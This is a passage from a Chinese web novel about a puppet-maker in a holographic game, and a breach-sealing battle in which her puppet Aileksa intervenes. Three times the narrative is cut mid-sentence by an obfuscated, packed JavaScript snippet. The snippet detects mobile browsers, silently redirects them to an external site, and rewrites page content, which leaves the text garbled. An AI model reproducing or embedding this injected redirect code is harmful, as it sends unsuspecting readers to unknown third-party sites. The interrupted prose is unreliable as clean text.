方羲拿起最后的【精灵布料】【泥土剪刀】【九百九十九色的颜料】，和猫猫一起坐在懒人沙发上。 对傀儡来说，衣服并不是单纯的装饰和保护，也将成为生命的一部分。 黑发少女静静地坐在木桌之上，双眼垂下，如同一座美丽的雕像。 事实上也的确如此，方羲触碰她的时候，只感受到一阵像是石头一样的坚硬感，可是只从表面的质感、甚至是伤口的样子看上去，这又的确是血肉之躯。 方羲开始裁剪布料，这片布料似乎可以随着她的心念，无限生长出不同的材质，甚至是自动长出恰当的褶皱。 “我还以为你很难缠呢。”方羲想起精灵布料当初浮现出来的文字，忍不住嘀咕了一句。 布料的一角微微翘起，像是回应。 即使有异端的主动配合，游戏自动简化的加持之下，缝制一套完整的衣服，也需要耗费很长的时间。 方羲中途还买了一台缝纫机。 最终，天色从深黑转变到蔚蓝，方羲才将这套哥特风的黑色长裙缝制出来。 方羲揉了揉眼睛，思考着还剩下什么工序——哦，还差一双鞋。 但是游戏时间好像太久了，于是方羲先向猫猫承诺很快回来，然后下了个线睡了一觉，喝了两三瓶营养液，在现实世界呆了一天，才重新回到游戏世界。 方羲继续开始肝肝肝，用所剩无几的精灵布料，做出了一对黑色长靴和袜子。 这些由异端残肢创造出来的衣物，居然自己主动地飘到象白少女身边，逐个“穿”到她身上。 【您的傀儡已制作成功！】 【请为您的第一只傀儡进行命名，她将会永远记得制作者赋予的名字。】 方羲思索了一会，视线缓缓落在姿态端庄的黑羊少女身上。 “你是艾莉克萨。”方羲说。 与此同时，在方羲的个人信息名下，【已制作的傀儡】后，多出了艾莉克萨这个名字。 【傀儡制作详情生成中……】 【生成傀儡简介需要十分钟的时间，请玩家耐心等待。】 艾莉克萨缓缓睁开眼睛，神情一如既往的懵懂，呆呆地打量了一圈四周环境：力量恐怖的主人，强大的同类，还有约等于无的木屋建筑。 她从桌子上跳下来，又动作缓慢地移动到方羲和猫猫附近，然后开始站在原地不动。 看上去像是在发呆。 方羲沉思了一会，拒绝承认这个习惯有点像她，想了想问：“能说话吗？” “我……不知道……”傀儡的声音听上去极其僵硬。 方羲陷入沉默。心想如果有“智商”这一属性的话，黑羊少女的数值肯定不太高。 但是应该可以学习。 “你是艾莉克萨。”方羲又重新说了一遍，“这是你的名字。” 艾莉克萨乖乖地点了点头。 方羲从游戏商城买了【简单易懂的汉字书x1，百科全书x1，武器基础科普绘本x1，帝国生活通用常识x1，战斗九百九十九种小技巧x1】等各种乱七八糟的书。 “你可以坐在这里看书。”方羲说，“现在是白天，你也可以出去外面玩，就是不要跑太远。” “哦。”艾莉克萨坐到了沙发上，她选择待在创造者旁边看书。 事实上，方羲这种随意的行为犯了傀儡师公认的大忌。 一般来说，对待刚苏醒的傀儡，最应该做的事情是二次驯服。 身边如果能有强大的队友辅助也最好不过。 因为刚刚开始熟悉新躯体的异端意识，很难说会不会存在反杀创造者的恶念。 专属系统欧律狄刻，正想提醒方羲这件事情，却检测到艾莉克萨的驯服度相当平稳——始终保持在一百。 于是欧律狄刻决定缄默不语。 方羲打了个哈欠，整个人咸鱼躺在沙发上，充满怨念地说：“我的体力值肯定已经降到零点了！！” 【经过这四天的副本通关和探索跋涉，您的体力上限已提升了50点。】欧律狄刻说。 “…………” 方羲无视了欧律狄刻的提醒，她总感觉这个系统在隐性催促她游戏进度要加快，虽然表面上什么也没说。 方羲再次进入黑天鹅交易所的面板，距离她接单那天，实际上也只过了两天。 但可能因为耗费的专注力太多了，她觉得这两天过得有点恍恍惚惚。 她正在努力寻找与“社牛不想说话”的对话界面（由于后台私信太多，这个对话已经被彻底淹没）。 但方羲反而发现了来自踏樱的未读消息，她刷屏了整整四五十条，全是在表达对猫猫的喜爱和感谢。 【踏樱】：啊啊啊啊抱歉qaq我被黑天鹅的管理者叫去谈话了，没有立刻过来跟您道谢！！！！ 【踏樱】：真的非常谢谢您和您的傀儡，自从腐蚀上升到40之后，我每天都无法正常入睡，一睡觉就会做醒不来的那种噩梦qaq 【踏樱】：相比只能当作工具使用的傀儡，这一定是沾染了创造者灵魂的傀儡吧？傀儡的意志就是创造者的意志。 【踏樱】：您的灵魂有受到负面影响吗？我是一名造梦家，是全新晋造梦领域范围最广的造梦家，擅长生命的守护。如果有任何需要帮助的地方，请随时联系我。 方羲看了一眼窝在旁边舔毛的橘猫，想了想，进行了简单的回复。 【非专业收藏家】：不用谢。我也没有受到任何反向侵蚀，不必担心。 此时，欧律狄刻蹦出一条新讯息：【傀儡简介生成成功！】 昵称：艾莉克萨 创造者：白乌鸦（非专业收藏家） 目前使用者：无 类型：大型傀儡，人类外形。 制作材料： 纯白的血肉之躯[点此查看详情] 邪恶的黑山羊之角[点此查看详情] 沼泽哺育的黑色长发[点此查看详情] 红色眼眸[点此查看详情] 精灵布料[点此查看详情] 寿命预计年份：一百年。 目前状态：正常。 天赋技能： 【黑山羊的诅咒】“在黑羊少女的注视之下，你的一切都会变得迟缓。” 此为主动技能，在四千米为半径的圆形范围之内，被艾莉克萨视之为敌人的存在，将会失去一切攻击和防御手段，沦为脆弱的羔羊。 【羊群中的黑羊】“虽然她是黑色的羊，却总是被误以为是白羊。” 此为被动技能，作为一个经由上帝之手创造的新傀儡，她既不会被异端视作食物和敌人，也很难让人类感知到身上残留的邪恶气息。 【石像之躯】“这是一座活过来的石头。” 此为天赋特性，请不要因为艾莉克萨的少女外表而轻视她。她的身躯坚硬无比，如同一名强壮的巨人。受伤？那是什么？ 力量数值如下 攻击：900（可提升） 防御：1539（可提升） 敏捷：393（可提升）< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739188|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>异端抗性：4000（不可提升） 灵感：4000（不可提升） 腐蚀度：它与异端是同类，同类之间怎么可能相互侵染呢？如果你智商不够的大脑依然无法理解这句话，那么请重新阅读一遍艾莉克萨的天赋技能。 方羲大概看了一下，然后通过搜索功能，终于找到和社牛不想说话的对话框，直接将艾莉克萨的信息简介转发给对方。 【非专业收藏家】：有什么需要修改的吗？ 【社牛不想说话】：这么快？？？（一脸震惊.jpg） 【社牛不想说话】：请稍等一下，我现在正在查看！ 对方足足半个小时都没有再回复，方羲在游戏论坛逛了好一会之后，才忽然反应过来。 难道是单主不满意？方羲谨慎地想，顺便替艾莉克萨顺了顺凌乱的头发。 事实上，对面的宋白玉只是单纯被这个数值恐怖的傀儡震撼到了。 他正在和队友楚嘉薇讨论这只傀儡。 性格一向冷漠、对什么事情都没什么热情的楚嘉薇，此时也罕见地露出几分惊讶之色。 “五个残肢的净化度都高达95以上。理论上来说，在傀儡制作当中，最多只能使用一个净化值偏高的残肢作为核心体……”楚嘉薇喃喃自语道，“我上一次见到类似的做法，还是在六年前的逢霜身上，但是……” 楚嘉薇欲言又止。 “孟长官当时只是在尝试，但是她失败了。”宋白玉接过楚嘉薇的未尽之语，声音有些颤抖，“鼎盛时期的她也没有做到这个程度。” “先不说这名傀儡师怎么将残肢净化到这种程度。”宋白玉说，“能够融合成一个完整体，简直是难以想象！你看，她的天赋技能可以让异端进入衰微状态，直接替代了猎人和造梦家的存在，完全可以作为一个队伍的先手。” 楚嘉薇无奈地说：“你的关注点怎么偏到这里去了？她的异端抗性和灵感很高，这才是傀儡的存在意义。” “我这不是职业后遗症嘛。”宋白玉笑了笑说，神情露出一个如释重负的笑容，“太好了，不是吗？” “这很有可能是一个新人玩家，傀儡的力量数值大多和创造者一样。”楚嘉薇说，“但是，这只傀儡似乎可以和我们一样，进行升级成长。这一点倒让我有些不确定了，难道是傀儡师牺牲了固定数值，让她具备成长的特性？” 异端的实力大多恒定不变，人类才是转瞬即逝、发生无数变化的生命。 宋白玉和楚嘉薇对视了一眼。 “新晋三千名内的玩家现在已经全部加入了，黑天鹅这一届的玩家也足足几千万。”宋白玉嘀咕道，“这究竟是哪个不知名的大佬，藏得也太深了吧！不行！我得和这个玩家打好关系交个朋友！” “…………”楚嘉薇无语，“你还是先去回复吧，我会把这件事上报给逢霜的。” 宋白玉被这么一提醒，赶紧速速回复，疯狂吹彩虹屁：非常完美的傀儡！！！我待在失乐园六年了，也是第一次见到这种数值惊人的傀儡。对了，您不把定制价格提一下吗？这至少要收百万以上的金币……事实上，这么便宜的定价，甚至无法给收集和净化残肢过程中遭遇的精神损失回血。 宋白玉在心里暗暗感慨，这名傀儡师是来做慈善的吗？ 这么便宜的定价……这么便宜的定价……一百万……方羲的脑海只剩下这么这几个大字的来回环绕。 “喵？”猫猫蹭了蹭方羲。 方羲平复了一下心情，也是，低等星上大部分都是和她经济水平差不多的人。没见过世面的她受到打击是很正常的。 她直接略过了社牛不想说话的疑惑，不想回答，假装无事发生。 【非专业收藏家】：忘记强调了。她的敏捷度和反应力非常低，但拥有学习和模仿的能力，需要花费一段时间去调教。三天后，等艾莉克萨学会了基础常识，我再让她来找你们。 宋白玉收到回复，顿时肃然起敬。 这名傀儡师完全不在意金钱！说明她的内心有更宏伟远大的目标，而且能够在短时间创造出这么一个强大的傀儡，几乎没有任何索求地交给他们。 她绝不会止步于此。宋白玉心想。 但是，宋白玉脸色有些忧愁，他忍不住翻了翻自己的背包和小金库。除了金钱和残肢之类的东西，他也没什么能拿得出手了。 宋白玉深深地叹了口气，直接动用自己的私人资金，先给方羲打了三百万。不过因为资金数量比较大，用途又比较特殊，需要等待系统的审核，才会结算到方羲的账号上。 14. 第 14 章 【紧急通知：帝国二级区域G333星球，遭遇危及半个星球的异端袭击，全星球已陷入瘫痪状态！已列入一级优先处理事件，请各位密匙玩家重点关注相对应的锚点区域，尽快封锁异端出逃的关口！】 “人手不够，你和楚嘉薇先回来一趟，带上另外一名真实玩家，去前线封锁异端。” 原本还悠闲自在上网冲浪的宋白玉，差点一口水喷出来，但这个情况下他连习惯性吐槽也抛在脑后，赶紧转移回到黑天鹅的浮空岛。 此时，黑天鹅仅限密匙玩家进入的会议空间，已经站满了人。还有更多身处封锁前线的玩家，便直接没有回来，而是通过系统远程听候命令。 “具体情况怎么样？” “之前去的几批小队失去了联系。”孟逢霜头也没转过去，双手飞速操控不断弹出来的数据界面，“银月已经带着队伍去开路了，我把坐标传送给你。你们三个人负责这一处的封锁。” 一个世纪前，作为封锁无数异端的媒介载体《失乐园》，便已经产生了细微的裂缝。 无数体型偏小的异端从裂缝出逃，逃到真实的现实世界，如同蝗灾开始肆意妄为。 裂缝也随之扩大。 彼时，常驻在失乐园的没有任何一名普通公民，绝大多数来自顶级军校的毕业生、星际战场退役下来的精英军人、乃至于血色履历丰富的星际一级罪犯。 但自从媒介出现故障，失乐园的管理者们意识到，仅仅依靠一部分人的努力是不够的。 于是，失乐园才逐渐演化为一个大众全息游戏。 即使普通玩家通关一个副本，只能转化为0.0001的封锁力量，但无数玩家汇聚起来的力量，却让名为失乐园的囚笼多运转了一百年。 但在星历2509年，异端又一次企图重返真实之境。 巨大的灾难悬浮于每一名密匙玩家头上，挥之不去。 “解云怎么办？”楚嘉薇皱着眉头问，“现在的异端很聪明，它们会优先追踪傀儡师。” 孟逢霜没有说话，但在站在她旁边辅助的猎人玩家符瑶回答：“临时派遣其他新晋玩家和解云组队，他们还没有开始过真实区域的试炼，被追踪的概率不会很高。” “我明白了。”楚嘉薇和宋白玉对视一眼，又叫上另外一名真实玩家，当即立断离开了黑天鹅的核心区，前往被撕碎的真实区域。 天空是五彩斑斓的黑色。 无数人类惨叫声与哀嚎声，从外界隐隐约约传进来，一时之间竟令人分不清这是异端模仿的声音，还是真实发生的死亡。 宋白玉作为开路的领头羊，左脚一踏进真实区域，瞬间被一连串的恶心昆虫缠绕，撕咬，吸食血液。 “十点钟，四百米。”楚嘉薇说。 “砰——”宋白玉立刻瞄准，开枪。 附魔子弹触碰到一层外壳，瞬间像是炸弹一样爆发，将四周炸了个粉碎。 缠绕在宋白玉左脚的昆虫失去了支系的哺育，也瞬间化作黑泥消失。 在炸掉一条短小的异端分支之后，宋白玉和另外两名猎人玩家也终于看清四周的环境。 他们脚下是一片散发着淡淡星辉、由无数平面人头逐个交叉铺垫而成的路，悬浮于看不见尽头的深渊之上，而头顶充斥着无数怪诞扭曲的红眼，死死地盯着底下渺小的人类。 宋白玉习惯性地吞下近乎于恐惧的恶心感，冷静地举起步枪，竭力克制抬头看的欲望。 一旦被异端诱惑，抗性又不足的玩家，与之注视太久，便会当场毙命。 这个临时组建的小队，每位成员身经百战，无数次与异端擦肩而过，倒不至于弱到这种地步。 但是，在这种只要走错一步，就可能引来巨大危险的情况下。他们需要慎之又慎，每一个攻击都要听从造梦家的指令，以避免不必要的磨损。 这条路位于失乐园的外围边界，唯一安全的桥梁，弯弯曲曲地通往未知之处。 “不要想太多。”楚嘉薇拍了拍另一名异端抗性略低的真实玩家。 她经历真实区域的时间比楚嘉薇短上三年，缺乏时间和副本数量的磨砺，也没有在试炼中拿到密匙的认可，因此心理承受力要更低一些。 但作为上一届新晋玩家中的佼佼者之一，罗云沙早已做出了随时可能牺牲的觉悟。 “将这个世界想象为一个鸟笼，我们走在无数线条中的一条，一直走下去，直到最近的断裂处。”楚嘉薇说，“两点钟，五百米。” “砰——”又一只潜藏于黑暗中的异端被击落，发出尖锐刺耳的哀嚎。 “其他的一切都不用思考。”楚嘉薇继续说，“你和宋白玉一样，负责开路就足够了，剩下的是我的事情。” “是。”罗云沙很快调整好不适感，站在楚嘉薇身后防护。 事实上，一个队伍不应该只有三人，这不利于职能的分散，但是这次异端爆发得突然，出逃的缺口又实在太多。孟逢霜不得不下令降低部分精英队伍的人员数量，增加修补的速度。 他们的任务是——根据后方传过来的指引，尽快抵达被异端撕毁的缺口，进行修补。 即使牺牲猎人，也要将造梦家和傀儡师送到目的地。 最理想的情况是，猎人带着伤回来、造梦家和傀儡师全部幸存。 但更多的时候，可能连造梦家和傀儡师也找不到回来的路。负责开路的猎人全部死亡，造梦家和傀儡师在修补完缺口之后，也无法独自从无数异端的追踪下逃出。 “还有吗？”宋白玉举着步枪，谨慎地问。 “前进。”楚嘉薇说。 这一路上花费的时间异常漫长，罗云沙甚至有些拿捏不清究竟过了多久？一天？三天？还是更久？ 他们除了履行楚嘉薇发出的指令，没有任何多余的交流。 罗云沙第一次清晰感受到前代首席密匙玩家的恐怖之处。过去的时候，她即使在同副本中获得胜利，但过程中也犯过可有可无的失误。 可是在楚嘉薇和宋白玉的带领之下，他们全程没有犯过任何一个错误，每一个射出的子弹都创造了应有的价值。 但……罗云沙忽然感觉握着步枪的双手，罕见地沉重了。 好压抑的氛围。 他们为什么不能说句话呢？为什么一定要走这条虚无缥缈的路呢？不觉得脚下的昆虫很恶心吗？是不是马上就要面对异端了？她的子弹还够用吗？会不会一看见异端就被杀死了？头顶的红色眼睛是什么……好想抬头看看…… 楚嘉薇转头看了她一眼，放了一个治愈技能。 罗云沙瞬间清醒。 “抱歉，我也变得迟钝了。”楚嘉薇声音沙哑地说，“还有一公里到达目的地了，这一带相当接近异端的腹部。一般情况下，我们不会靠近这么深的区域。” “你的灵感还够用吗？”宋白玉问，声音也明显透着几分疲惫，“直觉告诉我，这附近不太妙，我闻到了一股新鲜的血味。” 三人瞬间拉进各自的距离。 两名猎人前后守护着唯一的造梦家。 楚嘉薇终于召唤出自己的专属武器——一把黑檀木手杖。 她轻轻往地面一敲，四面八方的迷雾霎时间被驱散，露出了真实的面貌。 一副巨大的人型骷髅，手里正玩弄着一具血淋淋的尸体。 而堆积在四周的，正是比他们来得更早、却惨死于异端手下的玩家。 散发着星辰光辉的道路，早已被无数炸开的血肉粉末覆盖，只剩下几缕黯淡的光芒。 罗云沙下意识闭了闭眼，她不愿意去深想这些玩家过于残酷的死法。 “我们来晚了。”楚嘉薇冷静地说，同样闭了闭眼睛，但她是为了开启更高一层的灵感。 睁眼。 造梦家的心脏忽然漏跳了一拍。 在巨大骷髅背后，一个被撕裂的巨大缺口，正在源源不断向外输送异端。 不管是强大的成熟体，还是尚且存在几分意识的残肢、未开化的卵，如同潮水一般，发出诡异荒诞的笑声和尖叫。 “我饿了” “终于出来了” “讨厌的人类” “先吃哪一个好呢” 楚嘉薇有一瞬间的失神，但她强悍的潜意识很快令自己回过神来。 “先锁住这只骷髅。”楚嘉薇后退几步，手杖再次敲了敲地面。 一刹那间，除了面前身形庞大的骷髅，躺在地面生死不明的玩家，所有异端都消失了。 天空开始酝酿风暴。 倾盆大雨落下。 冰冷的雨滴浇灭了无数异端的嚣张之意，它们身体颤抖，尖叫着地逃离这片死亡领域。 罗云沙发现，身处大雨之中，意志反而更久清醒。即使身处游戏系统信号不明的真实区域，她也明显感觉到，自己的各项数值在高速上升。 而暴雨为玩家带来多少增益，就会给异端造成数值相同的伤害。 “开始战斗。”楚嘉薇神色平静地说。 两名猎人立刻举起步枪，相互配合，分散，从不同的方向连续开枪。 战斗从来没有这么轻快过。罗云沙恍惚地想，耳边隐隐听见宋白玉畅快的笑声。 【攫取】——这是楚嘉薇的领域特性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739189|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这并不是常规意义上的、单纯作用于队友个体的增益，而是直接从异端身上攫取力量。 理论上来说，异端有多强大，楚嘉薇就能与之对应地，夺取多少力量。 骷髅被淋雨面积更大，它的白骨开始如同蜡烛一样融化，黏液滴落在几具人类尸体上，发出汽化的滋啦声。 它愤怒地甩手，像是一个无理取闹的孩童，横冲直撞，攻击没有丝毫技法可言。 两名猎人不断地扣动扳机，射出子弹，直击骷髅的关节处。 半只右臂坠入深渊。 “速度加快。”宋白玉一边提醒，手下的动作也没有丝毫放缓，“一旦异端侵略星球超过三分之二的面积，这颗星球的人也就彻底没救了。” “明白。”罗云沙回答。 左脚关节被击碎了一小半，这副巨大的身体隐约失去一个支撑点，摇摇欲坠。 但楚嘉薇忽然吐出了一口血，惊惧地抬眼看过去。 苍白色的骷髅，高高抬起指骨被人类血液染红的左手，摸到风暴中心。 它直接将造梦的领域撕毁了一片。 “罗云沙，撤退！”楚嘉薇忽然高喊道。 话音刚落，骷髅异端再次动手，整片风暴领域被撕裂了一半，只剩下几片破碎的区域。 罗云沙失去了造梦家领域的庇护，各项属性在一瞬大幅下降。 危急时刻，她的灵感反而短暂提升了一小段，身体敏锐地躲避，蹲走，勉强从异端的魔爪下游走逃出，移动到楚嘉薇身边。 楚嘉薇脸色苍白，眼白却发红得厉害，近乎于鲜血的颜色。但她在依然站在原地，手杖重重地敲击地面。 放在以往，楚嘉薇或许不会像这样狼狈，也不需要消耗大量的力量，进行二次的领域构建。 但是，即使公认为恐怖高危的真实区域，其异端的力量也在失乐园的禁锢下，压缩了绝大部分力量。 现在站在面前的是，是无限接近于现实世界的出口、力量接近于原始的异端。 即使异端只是如往常一样，进行普普通通的攻击。即使他们都看得出这种拙劣的攻击存在多少漏洞，却在这一瞬间地位颠倒，成为了被控制的一方。 蝼蚁能够撼动大象吗？ “必须修补失乐园的缺口……”楚嘉薇喃喃自语道。 她不敢想象，如果有朝一日，连唯一禁锢异端的媒介也被彻底破坏，那他们所处的世界，又该沦为什么样子？ 远处，持续输出、清扫战场的宋白玉，状态也不容乐观。 看不见。他焦躁地想。 即使灵感数值相似，但猎人和造梦家的“视野”也完全不一样。 猎人的灵感视野，只能模糊地看见异端的一角，比如骷髅的白色指骨，昆虫煽动的翅翼，还有成群结队的黑色团块。他们更偏向于模糊的危机感，身体反应往往先于视觉冲击，追求快狠准，力图最高限度地提高团队的存活率。 但是，仅仅依靠模糊的感觉是不够的。 也是因为这种情况，才诞生了“猎人无法单打独斗”的论调，这是经久不衰的真理。 如果有一名傀儡师在……不，再多一名造梦家就好了。宋白玉心想。 但这是一种奢望，在真实区域，除了极个别获得特例的精英小队。每一个队伍最多只能分配到一名造梦家或傀儡师，其余的全是负责输出或防御的猎人。 此时，楚嘉薇终于重新构建成功了新的造梦领域。 这一次的领域，面积比第一次要更加广阔，攫取的力量也更加强大。 “罗云沙，护送我去缺口附近。”楚嘉薇高声喊道，“宋白玉，继续攻击！” 骷髅空洞的眼眶忽然冒出两团火焰。 它沉淀了上百年的白骨之躯开始重新生成。 这条由无数先行者亲手搭建的桥梁，此时已经彻底失去一切星辉光芒，锋利的刺刃从地面骤然冒出。 一具具尸体被刺刃穿透，悬浮在半空。 宋白玉的心态有一瞬间裂开了，他下意识转过头。 呼吸一滞。 楚嘉薇和罗云沙双双被白骨刺入胸口。 一旦在异端的主场中失去“眼睛”……宋白玉死寂地压下这些悲观纷乱的思绪。 楚嘉薇还勉强靠手杖支撑着身体，将深受重伤、失去意识的罗云沙挡在身后，眼神极其凌厉，仿佛燃烧着不死不休的意志。 “继续攻击。”楚嘉薇说。 …… “这是雨水吗” 黑羊少女缓步踏入风暴中心。 存在寂静无声，没有任何一个生命察觉她的出现。 15. 第 15 章 “不理解” 黑羊少女凝望着这三个拼命挣扎的人类，大脑缓慢地思考着。 “虽然会赢，但会失去很多东西” “比如一双眼睛，一只手臂，一个同类” “真可怜，他们没有主人，身体坏了也没有人修” 艾莉克萨对这三名渺小的人类心生同情。 然后，她微微抬首，鲜红色的眼眸倒映出骷髅巨大的身躯。 主人说，家里缺了一个镇邪的骷髅头。 而眼眶烧灼着白色火焰的骷髅，竟只是轻慢地看了她一眼，毫不在意。 下一瞬间。 骷髅的身躯被一把巨大的镰刀砍成两半。 下半身静默似的，跪坐在大地之上。 上半身悬在半空，即将掉入无尽的深渊。 艾莉克萨微微蹙眉，再次挥动镰刀，砍向骷髅的脖颈。 头颅落下。 在艾莉克萨攻击的时候，时间被拉得极其漫长。 她的动作依旧缓慢、僵硬，但身为一个强大而特殊的傀儡，却微妙地影响了四周的时间流动。 骷髅的头颅终于落在了风暴领域之内，眼眶的火焰熄灭。 而视线早已模糊不清的楚嘉薇，直觉明白这是来了一个她不熟悉的支援。 一个用镰刀的猎人。注重细节的楚嘉薇，此时却某些显而易见的漏洞——她明明知道密匙与真实玩家中，使用镰刀的人屈指可数。 因为镰刀的武器特性，不利于团队之间的合作。 来不及思考太多，她直接从背包取出一团【勉强修补万物的金线】。 艾莉克萨沉默地站在楚嘉薇面前，好奇地观察她。 楚嘉薇误以为这名手握镰刀的猎人，是在恪守着某种过于死板的规则，于是陈述命令：“拿走吧，请尽快修补好这一块的缺口！谢谢你的支援……” 后半句的声音近乎虚弱无力。 艾莉克萨神情迷茫，从楚嘉薇手中接过这团金团。 与傀儡发生一瞬间的触碰时，楚嘉薇原本迷蒙的双眼，猛地瞪大。 等等……那不是人类……不是他们的队友…… 这是一只善于欺瞒的异端？！ 楚嘉薇满脸惊惧。 可是，艾莉克萨已经拿走了他们唯一的珍贵道具。 造梦家张开嘴巴，她想呼唤宋白玉，转移攻击的目标。 尽管她与宋白玉在三天前，看过方羲发送过来的傀儡简介，但此时却认不出艾莉克萨的来历。 可能是因为初始生成的傀儡简介，并没有显示立体图像，他们完全不知道“艾莉克萨”的长相。 也可能是身处命悬一线的战场上，思维无限紧绷，便抓住那不必思考的契机，人才能持续而正常地运转下去。 但当她看清面前的景象时，忽然吐不出任何一个字，而是茫然地看着这名散发着不详气息的少女。 艾莉克萨动作缓慢地靠近悬浮于半空的缺口。 在她的脚下，无数昆虫异端避之不及，甚至甘愿坠入深渊。 而聚集在世界漏洞附近的异端，察觉到黑羊少女的到来，霎时间停止了一切动作。 它们甚至不敢继续跑出去。 其中有一只体型小小的异端，偷偷从“人群”的缝隙中钻出来，乖巧地溜回自己的专属囚笼。 黑羊少女抬起握着金色团线的左手，朝上面的异端招了招手。 她不会飞。 主人没有教她飞。 一只四不像的巨鸟，颤颤巍巍似的，过来接过黑羊少女手中的金线。 “修好。不能出去。”艾莉克萨面无表情地说。 似乎听明白黑羊少女的意思，这群原本想要回归现实搞破坏的异端，顿时四散纷飞，也不打算护着这个来之不易的逃生口。 根本不需要强大傀儡的驱赶。 远处，除了陷入昏迷的罗云沙，楚嘉薇和宋白玉几乎是目瞪口呆地看着这一切。 真实区域的异端早已进化出初步的智商，懂得趋利避害——这是公认的常识。 但是这两名身经百战的密匙玩家，看着这群异端乖乖遵从黑羊少女的命令、乃至于违背它们最根深蒂固的本能，总觉得自己的世界观在摇摇欲坠。 “不是吧……”宋白玉喃喃自语道，“我一定是在做梦。” 之后的画面，却没有出现他们想象中的意外。 异端们的确自己修补好了出逃的世界漏洞。 然后，全部避之不及似的，飞速消失在他们的视野之内。 【信号连接中……滋啦……信号连接中……】 世界的漏洞被丝丝缕缕的金线拉扯，修复，即将合拢。 艾莉克萨站在原地，微微抬首，如同一座美丽的古老雕像，安静凝望着天空中最后几处未缝合的裂缝。 这一瞬，她用这双人偶师赋予的红色眼眸，看到了无数强悍异端。 它们在她无法触及的领域肆意作乱。 黑羊少女忽然觉得不太高兴，寂静无声的内心诞生了几分复杂的情绪。 躲在附近的，要杀。 逃到外面的，也要杀。 即使艾莉克萨没有沾染创造者的灵魂，但她作为造物之一，也在无形之中，主动追求和模仿方羲的一切。 红色颗粒在艾莉克萨左手汇聚，变为一只与少女身形不甚契合的镰刀。 一挥。 尖利凄惨的叫声几乎冲破耳膜。 咒骂声、哀求声、婴儿的啼哭声如暴雨般袭来，凝聚为一片庞大的精神攻击，无差别向外攻击。 艾莉克萨不为所动，再次重重地挥动镰刀，将这群脆弱的羔羊切割成两半。 化作黑泥。 【锚点开始建立。】 【锚点建立成功。】 【现实参照坐标：帝国二级区域G333星球。】 三名人类的游戏面板，第一次出现以前从未见过的讯息，也是一个他们完全陌生的冰冷机械音。 而后，专属系统熟悉的声音在他们耳边响起。 【006号专属系统已上线！】 【哦豁，你这货居然没死……等等，薇薇你的伤怎么这么严重！】 006系统震怒。 【你又没有保护好造梦家！我决定在你的信息上增加失职的记录！】 宋白玉的嘴角抽搐了一下，他习惯了。 四周又响起一道冷冰冰的机械音，这是失乐园权限最高、出现频率也最低的001号系统。 【失乐园第十三环的世界漏洞已修复！】 【紧急通知！G333星球的异端已全面死亡，这是史无前例的重大事件！检测到该能量波动与第十三环联系紧密，请相关玩家后续前往黑天鹅交易所进行汇报！】 【检测到密匙玩家楚嘉薇、宋白玉，真实玩家罗云沙处于重伤状态，001号系统已开启紧急传送的权限。】 【传送坐标：黑天鹅交易所核心区第七层治疗所。】 【由于当前位置特性，需要消耗中央主脑的储备能量，请耐心等待……】 【传送倒计时：两分五十六秒。】 “雨要停了” 艾莉克萨侧身，朝人类的方向一瞥。 猎人上前替两名队友进行急救，尽管他是□□伤势最严重的一个，精神状态却是三个人中相对稳定的一位。 “忘记了” “忘记主人指的灵魂是谁” “应该让晨乌带路的” 艾莉克萨满脸苦恼。 她在努力思考。 “那是哪个猎人……不！她身上的迷惑性太强了，这明明是一只异端。”宋白玉警惕地说。 楚嘉薇也犹豫地打量着她。 没办法，在他们的眼中，似乎只有非此即彼的选项。 她要么是一名特性诡异的猎人玩家，要么就是一只善于伪装的、立场不明的高等异端。 或许是艾莉克萨身上天然过于诡异荒诞的迷惑性，他们并没有往第三种可能去猜测。 【传送倒计时：0】 【坐标已锁定，开始传送……】 艾莉克萨看了一眼地面上巨大的骷髅头，想了想，决定先把战利品带回家里，才出来寻找她的使用者。 而且她想不起来是谁。 三天后。 身受重伤的三名玩家，经过技术高明的医生治疗，终于先后醒了过来。 楚嘉薇和宋白玉基本上恢复了健康，而罗云沙要恢复得慢一些，还需要在病床上趟一段时间。 他们得到了来自孟逢霜的命令，将在十五分钟后前往黑天鹅的第八层会议室，与其他密匙玩家一起开会。 这是一个非常罕见的情景。 对他们来说，面对面开会完全是低效无意义的事情。很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739190|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多时候，都是直接接收来自其他部门分配的任务点。 星际时代，人类依然没有突破“长生”的技术，但在充分的医疗和生存资源之下，寿命倒是平均延长了一百年。 但对于密匙玩家来说，时间总是珍贵的。 “在你们下线之前，我们先一起聊聊吧。”孟逢霜对他们说，“几分钟的时间就好。” 在现实中，他们这样严重的创伤根本不可能在短时间内恢复。 但好在这是“游戏”。 无论他们□□上受再大的创伤，只要没有超过某个临界值，现实中的身体自然不会产生相同的伤口。 很多时候，难办的反而是精神上的伤害。 